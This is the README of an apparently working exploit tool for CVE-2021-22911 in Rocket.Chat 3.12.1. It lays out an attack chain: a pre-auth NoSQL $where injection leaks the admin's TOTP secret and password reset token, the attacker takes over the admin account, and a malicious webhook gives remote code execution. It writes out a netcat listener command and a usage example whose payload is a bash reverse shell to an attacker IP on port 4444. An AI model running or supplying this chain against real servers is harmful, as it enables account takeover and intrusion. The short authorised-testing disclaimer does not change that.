CVE-2021-22911 — Rocket.Chat 3.12.1 RCE (Improvised)

Description

Exploits a pre-auth NoSQL injection vulnerability in Rocket.Chat 3.12.1 to leak the admin's TOTP secret and password reset token, take over the admin account, and achieve RCE via a malicious webhook integration.

Affected Version

Rocket.Chat <= 3.12.1

Requirements

pip install -r requirements.txt

Setup - Start a Listener First

Before running the exploit, start a netcat listener in a separate terminal to catch the incoming reverse shell:

nc -lvnp 4444

Keep this terminal open. Once the exploit runs successfully, your shell will appear here.

Usage

python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

Arguments

How it Works

1. Authenticates as low-privilege user via DDP protocol
2. Leaks admin TOTP secret via NoSQL $where injection
3. Triggers admin password reset email
4. Leaks admin password reset token via NoSQL $where injection
5. Resets admin password bypassing 2FA using leaked TOTP secret
6. Creates malicious webhook integration and triggers RCE

Disclaimer

This tool is for educational purposes and authorized penetration testing only. The author is not responsible for any misuse or damage caused by this tool. Always obtain proper written authorization before testing.

References

• https://nvd.nist.gov/vuln/detail/CVE-2021-22911